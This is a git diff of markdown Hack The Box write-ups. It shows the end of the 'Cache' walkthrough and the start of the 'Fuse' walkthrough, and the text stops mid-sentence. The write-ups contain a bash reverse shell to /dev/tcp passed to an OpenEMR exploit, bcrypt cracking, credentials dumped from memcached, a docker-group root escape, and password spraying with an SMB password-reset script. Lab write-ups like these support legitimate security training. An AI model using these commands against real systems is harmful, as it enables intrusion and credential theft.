"\$2a\$05\$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B." -mj + Analyzing '$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.' + [+] Blowfish(OpenBSD) [Hashcat Mode: 3200][JtR Format: bcrypt] + [+] Woltlab Burning Board 4.x + [+] bcrypt [Hashcat Mode: 3200][JtR Format: bcrypt] + + + +it is supposedly a bcrypt hash, let's try to crack it with john using rockyou.txt: + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/cache] + → cat hash.txt + $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/cache] + → john -w=/usr/share/wordlists/rockyou.txt hash.txt + Using default input encoding: UTF-8 + Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) + Cost 1 (iteration count) is 32 for all loaded hashes + Will run 4 OpenMP threads + Press 'q' or Ctrl-C to abort, almost any other key for status + xxxxxx (?) + 1g 0:00:00:00 DONE (2021-06-25 12:31) 1.538g/s 1329p/s 1329c/s 1329C/s tristan..felipe + Use the "--show" option to display all of the cracked passwords reliably + Session completed + + + +And after a few seconds, john finds the password being 'xxxxxx' so let's use the exploit we found earlier to get a reverse shell: + + + [terminal 1] + [ 10.66.66.2/32 ] [ /dev/pts/36 ] [~/HTB/cache] + → python 45161.py http://hms.htb -u openemr_admin -p xxxxxx -c 'bash -i >& /dev/tcp/10.10.14.11/9001 0>&1' + .---. ,---. ,---. .-. .-.,---. ,---. + / .-. ) | .-.\ | .-' | \| || .-' |\ /|| .-.\ + | | |(_)| |-' )| `-. | | || `-. |(\ / || `-'/ + | | | | | |--' | .-' | |\ || .-' (_)\/ || ( + \ `-' / | | | `--.| | |)|| `--.| \ / || |\ \ + )---' /( /( __.'/( (_)/( __.'| |\/| ||_| \)\ + (_) (__) (__) (__) (__) '-' '-' (__) + + ={ P R O J E C T I N S E C U R I T Y }= + + Twitter : @Insecurity + Site : insecurity.sh + + [$] Authenticating with openemr_admin:xxxxxx + [$] Injecting payload + + + [terminal 2] + [ 10.66.66.2/32 ] [ /dev/pts/24 ] [~/HTB/cache] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.188] 50144 + bash: cannot set terminal process group (1620): Inappropriate ioctl for device + bash: no job control in this shell + www-data@cache:/var/www/hms.htb/public_html/interface/main$ id + id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + + +And we get a reverse shell as www-data! Now let's get a fully interactive TTY: + + + www-data@cache:/var/www/hms.htb/public_html/interface/main$ cd /tmp + cd /tmp + www-data@cache:/tmp$ which python python3 wget curl nc + which python python3 wget curl nc + /usr/bin/python3 + /usr/bin/wget + /usr/bin/curl + /bin/nc + + www-data@cache:/tmp$ python3 -c 'import pty;pty.spawn("/bin/bash")' + python3 -c 'import pty;pty.spawn("/bin/bash")' + + www-data@cache:/tmp$ ^Z + [1] + 2355240 suspended nc -lvnp 9001 + + [ 10.66.66.2/32 ] [ /dev/pts/24 ] [~/HTB/cache] + → stty raw -echo ; fg + [1] + 2355240 continued nc -lvnp 9001 + export TERM=screen-256color + + www-data@cache:/tmp$ export SHELL=bash + + www-data@cache:/tmp$ stty rows 50 columns 200 + + www-data@cache:/tmp$ reset + + + +Now that we got a fully interactive TTY let's take a look around: + + + www-data@cache:/tmp$ cat /etc/passwd + root:x:0:0:root:/root:/bin/bash + daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin + bin:x:2:2:bin:/bin:/usr/sbin/nologin + sys:x:3:3:sys:/dev:/usr/sbin/nologin + sync:x:4:65534:sync:/bin:/bin/sync + games:x:5:60:games:/usr/games:/usr/sbin/nologin + man:x:6:12:man:/var/cache/man:/usr/sbin/nologin + lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin + mail:x:8:8:mail:/var/mail:/usr/sbin/nologin + news:x:9:9:news:/var/spool/news:/usr/sbin/nologin + uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin + proxy:x:13:13:proxy:/bin:/usr/sbin/nologin + www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin + backup:x:34:34:backup:/var/backups:/usr/sbin/nologin + list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin + irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin + gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin + nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin + systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin + systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin + syslog:x:102:106::/home/syslog:/usr/sbin/nologin + messagebus:x:103:107::/nonexistent:/usr/sbin/nologin + _apt:x:104:65534::/nonexistent:/usr/sbin/nologin + lxd:x:105:65534::/var/lib/lxd/:/bin/false + uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin + dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin + landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin + pollinate:x:109:1::/var/cache/pollinate:/bin/false + sshd:x:110:65534::/run/sshd:/usr/sbin/nologin + ash:x:1000:1000:ash:/home/ash:/bin/bash + luffy:x:1001:1001:,,,:/home/luffy:/bin/bash + memcache:x:111:114:Memcached,,,:/nonexistent:/bin/false + mysql:x:112:115:MySQL Server,,,:/nonexistent:/bin/false + + www-data@cache:/tmp$ cat /home/ash/user.txt + cat: /home/ash/user.txt: Permission denied + + + +So now we know we need to privesc to the user ash, now a long time ago we found some credentials for the user ash so let's use themu - ash: + + + www-data@cache:/tmp$ su - ash + Password: H@v3_fun + ash@cache:~$ cat user.txt + 65XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc to the root user we need to enumerate the box using linpeas.sh: + + + [terminal 1] + [ 10.66.66.2/32 ] [ /dev/pts/37 ] [~/HTB/cache] + → cp /home/nothing/HTB/mango/linpeas.sh . + + [ 10.66.66.2/32 ] [ /dev/pts/37 ] [~/HTB/cache] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [terminal 2] + ash@cache:~$ wget http://10.10.14.11:9090/linpeas.sh -O /tmp/peas.sh + --2021-06-25 10:52:30-- http://10.10.14.11:9090/linpeas.sh + Connecting to 10.10.14.11:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 341863 (334K) [text/x-sh] + Saving to: ‘/tmp/peas.sh’ + + /tmp/peas.sh 2021-06-25 10:52:34 (130 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863] + + ash@cache:~$ chmod +x /tmp/peas.sh + ash@cache:~$ /tmp/peas.sh + + + +` ![](prg/56_009.png) + +Let it run a bit and then scroll through the output, and you will get hints towards memcached: + +![](prg/56_010.png) + +Memcached is listening on port 11211 on localhost: + + + ash@cache:~$ netstat -l + Active Internet connections (only servers) + Proto Recv-Q Send-Q Local Address Foreign Address State + tcp 0 0 localhost.localdo:mysql 0.0.0.0:* LISTEN + tcp 0 0 localhost.localdo:11211 0.0.0.0:* LISTEN + tcp 0 0 localhost:domain 0.0.0.0:* LISTEN + tcp 0 0 0.0.0.0:ssh 0.0.0.0:* LISTEN + tcp6 0 0 [::]:http [::]:* LISTEN + tcp6 0 0 [::]:ssh [::]:* LISTEN + udp 0 0 localhost:domain 0.0.0.0:* + raw6 0 0 [::]:ipv6-icmp [::]:* 7 + + + +So let's enumerate the memcached service from telnet: + + + ash@cache:~$ telnet localhost 11211 + Trying ::1... + Trying 127.0.0.1... + Connected to localhost. + Escape character is '^]'. + + stats slabs + STAT 1:chunk_size 96 + STAT 1:chunks_per_page 10922 + STAT 1:total_pages 1 + STAT 1:total_chunks 10922 + STAT 1:used_chunks 5 + STAT 1:free_chunks 10917 + STAT 1:free_chunks_end 0 + STAT 1:mem_requested 371 + STAT 1:get_hits 0 + STAT 1:cmd_set 595 + STAT 1:delete_hits 0 + STAT 1:incr_hits 0 + STAT 1:decr_hits 0 + STAT 1:cas_hits 0 + STAT 1:cas_badval 0 + STAT 1:touch_hits 0 + STAT active_slabs 1 + STAT total_malloced 1048576 + END + + + +After running **stats slabs** we see that there is only 1 object in memory, so let's fetch the keys we need: + + + stats cachedump 1 0 + ITEM link [21 b; 0 s] + ITEM user [5 b; 0 s] + ITEM passwd [9 b; 0 s] + ITEM file [7 b; 0 s] + ITEM account [9 b; 0 s] + END + + + +So let's now dump all the values we got here: + + + get link + VALUE link 0 21 + https://hackthebox.eu + END + + get user + VALUE user 0 5 + luffy + END + + get passwd + VALUE passwd 0 9 + 0n3_p1ec3 + END + + get file + VALUE file 0 7 + nothing + END + + get account + VALUE account 0 9 + afhj556uo + END + + + +And we got credentials! **luffy:0n3_p1ec3** So let's login via SSH: + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/cache] + → ssh luffy@cache.htb + luffy@cache.htb's password: + Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-109-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + System information as of Fri Jun 25 11:01:24 UTC 2021 + + System load: 0.08 Processes: 185 + Usage of /: 75.4% of 8.06GB Users logged in: 0 + Memory usage: 22% IP address for ens160: 10.10.10.188 + Swap usage: 0% IP address for docker0: 172.17.0.1 + + + * Canonical Livepatch is available for installation. + - Reduce system reboots and improve kernel security. Activate at: + https://ubuntu.com/livepatch + + 110 packages can be updated. + 0 updates are security updates. + + + Last login: Wed May 6 08:54:44 2020 from 10.10.14.3 + luffy@cache:~$ ls -lash + total 32K + 4.0K drwxr-x--- 5 luffy luffy 4.0K Sep 16 2020 . + 4.0K drwxr-xr-x 4 root root 4.0K Sep 17 2019 .. + 0 lrwxrwxrwx 1 root root 9 May 5 2020 .bash_history -> /dev/null + 4.0K -rw-r--r-- 1 luffy luffy 220 Sep 17 2019 .bash_logout + 4.0K -rw-r--r-- 1 luffy luffy 3.8K Sep 18 2019 .bashrc + 4.0K drwx------ 2 luffy luffy 4.0K Sep 18 2019 .cache + 4.0K drwx------ 3 luffy luffy 4.0K Sep 18 2019 .gnupg + 4.0K drwxrwxr-x 3 luffy luffy 4.0K Sep 18 2019 .local + 4.0K -rw-r--r-- 1 luffy luffy 807 Sep 17 2019 .profile + luffy@cache:~$ + + +Now that we are logged in as the user luffy, we see that he is part of the docker group: + + + luffy@cache:~$ groups + luffy docker + + luffy@cache:~$ ip a + + [...] + + 3: docker0: <****NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default + link/ether 02:42:e1:32:ed:c0 brd ff:ff:ff:ff:ff:ff + inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0 + valid_lft forever preferred_lft forever + +So let's check the docker images that are available for us: + + + + luffy@cache:~$ docker image list + REPOSITORY TAG IMAGE ID CREATED SIZE + ubuntu latest 2ca708c1c9cc 21 months ago 64.2MB + + + +So here we get the ubuntu docker image, so let's use it to mount the root directory of the box: + + + luffy@cache:~$ docker run -v /:/mnt -it ubuntu chroot /mnt sh + # cat /root/root.txt + 00XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/56_graph.png) + diff --git a/Medium/57.md b/Medium/57.md new file mode 100644 index 0000000..8dde64a --- /dev/null +++ b/Medium/57.md @@ -0,0 +1,598 @@ +# Fuse Writeup + +![](img/57.png) + +## Introduction : + +Fuse is a Medium Windows box released back in June 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB] + → nmap -vvv -p- 10.10.10.193 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 636/tcp on 10.10.10.193 + Discovered open port 593/tcp on 10.10.10.193 + Discovered open port 9389/tcp on 10.10.10.193 + Discovered open port 49680/tcp on 10.10.10.193 + Discovered open port 5985/tcp on 10.10.10.193 + Discovered open port 49675/tcp on 10.10.10.193 + Discovered open port 49698/tcp on 10.10.10.193 + Discovered open port 88/tcp on 10.10.10.193 + Discovered open port 3269/tcp on 10.10.10.193 + Discovered open port 49666/tcp on 10.10.10.193 + Discovered open port 3268/tcp on 10.10.10.193 + Discovered open port 49667/tcp on 10.10.10.193 + Discovered open port 464/tcp on 10.10.10.193 + Discovered open port 49676/tcp on 10.10.10.193 + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB] + → nmap 10.10.10.193 -Pn -sCV + Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-25 13:35 CEST + Nmap scan report for 10.10.10.193 + Host is up (0.47s latency). + Not shown: 988 filtered ports + PORT STATE SERVICE VERSION + 53/tcp open domain Simple DNS Plus + 80/tcp open http Microsoft IIS httpd 10.0 + | http-methods: + |_ Potentially risky methods: TRACE + |_http-server-header: Microsoft-IIS/10.0 + |_http-title: Site doesn't have a title (text/html). + 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-06-25 11:57:23Z) + 135/tcp open msrpc Microsoft Windows RPC + 139/tcp open netbios-ssn Microsoft Windows netbios-ssn + 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name) + 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP) + 464/tcp open kpasswd5? + 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 + 636/tcp open tcpwrapped + 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name) + 3269/tcp open tcpwrapped + Service Info: Host: FUSE; OS: Windows; CPE: cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: mean: 2h41m07s, deviation: 4h02m31s, median: 21m05s + | smb-os-discovery: + | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) + | Computer name: Fuse + | NetBIOS computer name: FUSE\x00 + | Domain name: fabricorp.local + | Forest name: fabricorp.local + | FQDN: Fuse.fabricorp.local + |_ System time: 2021-06-25T04:57:53-07:00 + | smb-security-mode: + | account_used: + | authentication_level: user + | challenge_response: supported + |_ message_signing: required + | smb2-security-mode: + | 2.02: + |_ Message signing enabled and required + | smb2-time: + | date: 2021-06-25T11:57:51 + |_ start_date: 2021-06-25T11:49:12 + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 108.41 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB] + → curl http://10.10.10.193 + <****meta http-equiv="refresh" content="0; url=http://fuse.fabricorp.local/papercut/logs/html/index.htm" />% + +Here we see that it's only a redirection to **fuse.fabricorp.local** so let's add it to our hosts file: + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB] + → sudo -i + [sudo] password for nothing: + ┌──(root💀nowhere)-[~] + └─# echo '10.10.10.193 fuse.fabricorp.local fabricorp.local' >> /etc/hosts + + ┌──(root💀nowhere)-[~] + └─# ping -c1 fuse.fabricorp.local ; ping -c1 fabricorp.local + PING fuse.fabricorp.local (10.10.10.193) 56(84) bytes of data. + 64 bytes from fuse.fabricorp.local (10.10.10.193): icmp_seq=1 ttl=127 time=465 ms + + --- fuse.fabricorp.local ping statistics --- + 1 packets transmitted, 1 received, 0% packet loss, time 0ms + rtt min/avg/max/mdev = 465.107/465.107/465.107/0.000 ms + PING fuse.fabricorp.local (10.10.10.193) 56(84) bytes of data. + 64 bytes from fuse.fabricorp.local (10.10.10.193): icmp_seq=1 ttl=127 time=472 ms + + --- fuse.fabricorp.local ping statistics --- + 1 packets transmitted, 1 received, 0% packet loss, time 0ms + rtt min/avg/max/mdev = 471.894/471.894/471.894/0.000 ms + + ┌──(root💀nowhere)-[~] + └─# exit + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB] + → + + +**fabricorp.local** redirects to **fuse.fabricorp.local** which gets us an instance of PaperCut print logger: + +![](prg/57_001.png) + +We click 'view' on each of the print logs and we can get a list of users with it: + +![](prg/57_002.png) ![](prg/57_003.png) ![](prg/57_004.png) + +We can run gobuster on both domains but we don't find anything interesting, so instead we're going to use ldapsearch: + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/Fuse] + → ldapsearch -h 10.10.10.193 -x -s base namingcontexts + # extended LDIF + # + # LDAPv3 + # base (default) with scope baseObject + # filter: (objectclass=*) + # requesting: namingcontexts + # + + # + dn: + namingContexts: DC=fabricorp,DC=local + namingContexts: CN=Configuration,DC=fabricorp,DC=local + namingContexts: CN=Schema,CN=Configuration,DC=fabricorp,DC=local + namingContexts: DC=DomainDnsZones,DC=fabricorp,DC=local + namingContexts: DC=ForestDnsZones,DC=fabricorp,DC=local + + # search result + search: 2 + result: 0 Success + + # numResponses: 2 + # numEntries: 1 + + +enumerating ldap further doesn't get us anything either, let's make a wordlist using cewl: + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/Fuse] + → cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers > wordlist + + [ 10.66.66.2/32 ] [ /dev/pts/24 ] [~/HTB/Fuse] + → cat users.txt + bhult + administrator + sthompson + pmerton + tlavel + + [ 10.66.66.2/32 ] [ /dev/pts/24 ] [~/HTB/Fuse] + → cat wordlist + CeWL 5.4.8 (Inclusion) Robin Wood (robin@digi.ninja) (https://digi.ninja/) + Print + 2020 + PaperCut + Logs + MFT01 + PCL6 + CSV + Excel + Logger + LETTER + NOT + DUPLEX + GRAYSCALE + papercut + com + + [...] + + +Now let's use crackmapexec to spray the potential passwords on the potential users: + + + [ 10.66.66.2/32 ] [ /dev/pts/24 ] [~/HTB/Fuse] + → crackmapexec -t 50 smb 10.10.10.193 -u users.txt -p wordlist + SMB 10.10.10.193 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True) + SMB 10.10.10.193 445 FUSE [-] fabricorp.local\bhult:CeWL 5.4.8 (Inclusion) Robin Wood (robin@digi.ninja) (https://digi.ninja/) STATUS_LOGON_FAILURE + SMB 10.10.10.193 445 FUSE [-] fabricorp.local\bhult:Print STATUS_LOGON_FAILURE + SMB 10.10.10.193 445 FUSE [-] fabricorp.local\bhult:2020 STATUS_LOGON_FAILURE + SMB 10.10.10.193 445 FUSE [-] fabricorp.local\bhult:PaperCut STATUS_LOGON_FAILURE + SMB 10.10.10.193 445 FUSE [-] fabricorp.local\bhult:Logs STATUS_LOGON_FAILURE + SMB 10.10.10.193 445 FUSE [-] fabricorp.local\bhult:MFT01 STATUS_LOGON_FAILURE + SMB 10.10.10.193 445 FUSE [-] fabricorp.local\bhult:PCL6 STATUS_LOGON_FAILURE + SMB 10.10.10.193 445 FUSE [-] fabricorp.local\bhult:CSV STATUS_LOGON_FAILURE + SMB 10.10.10.193 445 FUSE [-] fabricorp.local\bhult:Excel STATUS_LOGON_FAILURE + SMB 10.10.10.193 445 FUSE [-] fabricorp.local\bhult:Logger STATUS_LOGON_FAILURE + SMB 10.10.10.193 445 FUSE [-] fabricorp.local\bhult:LETTER STATUS_LOGON_FAILURE + SMB 10.10.10.193 445 FUSE [-] fabricorp.local\bhult:NOT STATUS_LOGON_FAILURE + SMB 10.10.10.193 445 FUSE [-] fabricorp.local\bhult:DUPLEX STATUS_LOGON_FAILURE + SMB 10.10.10.193 445 FUSE [-] fabricorp.local\bhult:GRAYSCALE STATUS_LOGON_FAILURE + SMB 10.10.10.193 445 FUSE [-] fabricorp.local\bhult:papercut STATUS_LOGON_FAILURE + SMB 10.10.10.193 445 FUSE [-] fabricorp.local\bhult:com STATUS_LOGON_FAILURE + SMB 10.10.10.193 445 FUSE [-] fabricorp.local\bhult:http STATUS_LOGON_FAILURE + SMB 10.10.10.193 445 FUSE [-] fabricorp.local\bhult:www STATUS_LOGON_FAILURE + + + +Yeah this will take forever because 1) hydra isn't able to connect to smb for some reason: + + + [ 10.66.66.2/32 ] [ /dev/pts/24 ] [~/HTB/Fuse] + → sudo hydra -L users.txt -P wordlist fabricorp.local smb + [sudo] password for nothing: + Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). + + Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-25 14:11:10 + [INFO] Reduced number of tasks to 1 (smb does not like parallel connections) + [DATA] max 1 task per 1 server, overall 1 task, 850 login tries (l:5/p:170), ~850 tries per task + [DATA] attacking smb://fabricorp.local:445/ + [ERROR] no reply from target smb://fabricorp.local:445/ + + [ 10.66.66.2/32 ] [ /dev/pts/24 ] [~/HTB/Fuse] + → sudo hydra -L users.txt -P wordlist 10.10.10.193 smb + Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). + + Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-25 14:11:35 + [INFO] Reduced number of tasks to 1 (smb does not like parallel connections) + [DATA] max 1 task per 1 server, overall 1 task, 850 login tries (l:5/p:170), ~850 tries per task + [DATA] attacking smb://10.10.10.193:445/ + [ERROR] no reply from target smb://10.10.10.193:445/ + + + +And crackmapexec isn't able to accept the threads flag, it will remain single-threaded and agonizingly slow, so after an eternity of waiting you will get crackmapexec finding that 2 users have the same password: + + + tlavel:Fabricorp01 + bhult:Fabricorp01 + + + +Now with these we try to check for shares we get a problem: + + + [ 10.66.66.2/32 ] [ /dev/pts/24 ] [~/HTB/Fuse] + → smbmap -u tlavel -p Fabricorp01 -H 10.10.10.193 + [!] Authentication error on 10.10.10.193 + + [ 10.66.66.2/32 ] [ /dev/pts/24 ] [~/HTB/Fuse] + → smbmap -u bhult -p Fabricorp01 -H 10.10.10.193 + [!] Authentication error on 10.10.10.193 + + [ 10.66.66.2/32 ] [ /dev/pts/24 ] [~/HTB/Fuse] + → smbclient -U bhult -L \\\\10.10.10.193 + Enter WORKGROUP\bhult's password: + session setup failed: NT_STATUS_PASSWORD_MUST_CHANGE + + + +As we see from the last error we need a Password change, so let's use **smbpasswd** to change them: + + + [ 10.66.66.2/32 ] [ /dev/pts/24 ] [~/HTB/Fuse] + → sudo smbpasswd -r 10.10.10.193 bhult + Old SMB password: Fabricorp01 + New SMB password: nihilist!!!!!!! + Retype new SMB password: nihilist!!!!!!! + Password changed for user bhult on 10.10.10.193. + + + +now the problem is, the users password get reset every minute, so we need to make a script to make it easier to change the password to what we want quickly: + + + [ 10.66.66.2/32 ] [ /dev/pts/37 ] [~/HTB/Fuse] + → vim passchange.py + + [ 10.66.66.2/32 ] [ /dev/pts/37 ] [~/HTB/Fuse] + → cat passchange.py + #!/usr/bin/env python3 + import subprocess + from random import randint + + password = b"Fabricorp01" + + # Use smbpasswd to change the password of the user + def change_pw(username, old_pw, password): + proc = subprocess.Popen([b"smbpasswd", b"-U", username, b"-r", b"10.10.10.193"], stdin=subprocess.PIPE) + proc.communicate(input=old_pw + b"\n" + password + b'\n' + password + b'\n') + + users = [b"tlavel"] + old_pw = password + password = b"nihilist!!!123456789" + bytes([randint(33,126)]) + + print(f"[+] Changing to: {password.decode()}") + for user in users: + change_pw(user,old_pw,password) + + + [ 10.66.66.2/32 ] [ /dev/pts/37 ] [~/HTB/Fuse] + → python3 passchange.py + [+] Changing to: nihilist!!!123456789P + Old SMB password: + New SMB password: + Retype new SMB password: + Password changed for user tlavel + + + +So now we have a script which changes the password when we need it, also take note that the password must NOT be the same password it ONCE was before, so that's why we need to add a random character after our password to make sure it is always a new password. + + + [ 10.66.66.2/32 ] [ /dev/pts/37 ] [~/HTB/Fuse] + → python3 passchange.py + [+] Changing to: nihilist!!!123456789P + Old SMB password: + New SMB password: + Retype new SMB password: + Password changed for user tlavel + + [ 10.66.66.2/32 ] [ /dev/pts/37 ] [~/HTB/Fuse] + → python3 passchange.py + [+] Changing to: nihilist!!!123456789& + Old SMB password: + New SMB password: + Retype new SMB password: + Password changed for user tlavel + + +If you get password errors when you try to login just keep changing the password and trying, and you will get it at some point, we login via RPC: + + + [ 10.66.66.2/32 ] [ /dev/pts/37 ] [~/HTB/Fuse] + → python3 passchange.py + [+] Changing to: nihilist!!!123456789v + Old SMB password: + New SMB password: + Retype new SMB password: + Password changed for user tlavel + + [ 10.66.66.2/32 ] [ /dev/pts/37 ] [~/HTB/Fuse] + → rpcclient -U tlavel -r 10.10.10.193 + Enter WORKGROUP\tlavel's password: + rpcclient $> enumdomusers + user:[Administrator] rid:[0x1f4] + user:[Guest] rid:[0x1f5] + user:[krbtgt] rid:[0x1f6] + user:[DefaultAccount] rid:[0x1f7] + user:[svc-print] rid:[0x450] + user:[bnielson] rid:[0x451] + user:[sthompson] rid:[0x641] + user:[tlavel] rid:[0x642] + user:[pmerton] rid:[0x643] + user:[svc-scan] rid:[0x645] + user:[bhult] rid:[0x1bbd] + user:[dandrews] rid:[0x1bbe] + user:[mberbatov] rid:[0x1db1] + user:[astein] rid:[0x1db2] + user:[dmuir] rid:[0x1db3] + rpcclient $> enumprinters + flags:[0x800000] + name:[\\10.10.10.193\HP-MFT01] + description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)] + comment:[] + + rpcclient $> + + +Now Here we have a new list of users and a printer that has apparently shows us credentials just like that, so we're going to make a new list of usernames, and try that password on each of them: + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/Fuse] + → cat usernames.txt + Administrator + Guest + krbtgt + DefaultAccount + svc-print + bnielson + sthompson + tlavel + pmerton + svc-scan + bhult + dandrews + mberbatov + astein + dmuir + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/Fuse] + → cat password.txt + $fab@s3Rv1ce$1 + + + +This time it won't take forever when we try to spray that password with crackmapexec: + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/Fuse] + → crackmapexec -t 50 smb 10.10.10.193 -u usernames.txt -p password.txt + SMB 10.10.10.193 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True) + SMB 10.10.10.193 445 FUSE [-] fabricorp.local\Administrator:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE + SMB 10.10.10.193 445 FUSE [-] fabricorp.local\Guest:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE + SMB 10.10.10.193 445 FUSE [-] fabricorp.local\krbtgt:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE + SMB 10.10.10.193 445 FUSE [-] fabricorp.local\DefaultAccount:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE + SMB 10.10.10.193 445 FUSE [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1 + + +And we got credentials! **svc-print:$fab@s3Rv1ce$1**. So let's spawn an evil-winrm session: + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/Fuse] + → evil-winrm -u svc-print -p '$fab@s3Rv1ce$1' -i 10.10.10.193 + + Evil-WinRM shell v2.4 + + Info: Establishing connection to remote endpoint + + *Evil-WinRM* PS C:\Users\svc-print\Documents> cd ../Desktop + *Evil-WinRM* PS C:\Users\svc-print\Desktop> type user.txt + 2cXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And there you go! We managed to get the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc to the root user we're going to upload winPEAS.ps1 to the box: + + + [ 10.66.66.2/32 ] [ /dev/pts/24 ] [~/HTB/Fuse] + → locate winPEAS.ps1 + /home/nothing/HTB/Buff/Invoke-winPEAS.ps1 + /home/nothing/HTB/Omni/SirepRAT/Invoke-winPEAS.ps1 + /home/nothing/HTB/Sauna/Invoke-winPEAS.ps1 + /usr/share/powershell-empire/data/module_source/privesc/Invoke-winPEAS.ps1 + + [ 10.66.66.2/32 ] [ /dev/pts/24 ] [~/HTB/Fuse] + → cp /usr/share/powershell-empire/data/module_source/privesc/Invoke-winPEAS.ps1 peas.ps1 + + [ 10.66.66.2/32 ] [ /dev/pts/24 ] [~/HTB/Fuse] + → ls -lash peas.ps1 + 228K -rw-r--r-- 1 nothing nothing 228K Jun 25 15:00 peas.ps1 + + + +We can upload it easily using evil-winrm's built in upload function: + + + *Evil-WinRM* PS C:\Users\svc-print\Desktop> mkdir C:\temp\ + + + Directory: C:\ + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d----- 6/25/2021 6:22 AM temp + + + *Evil-WinRM* PS C:\Users\svc-print\Desktop> cd C:\temp + *Evil-WinRM* PS C:\temp> upload peas.ps1 + Info: Uploading peas.ps1 to C:\temp\peas.ps1 + + + Data: 310740 bytes of 310740 bytes copied + + Info: Upload successful! + + *Evil-WinRM* PS C:\temp> Import-Module .\peas.ps1 + *Evil-WinRM* PS C:\temp> Invoke-WinPEAS + + +Now since we're in Evil-WinRM this will take a while to display results, but once it's done you will see the following: + +![](prg/57_005.png) + +Scrolling through winPEAS's output we see the 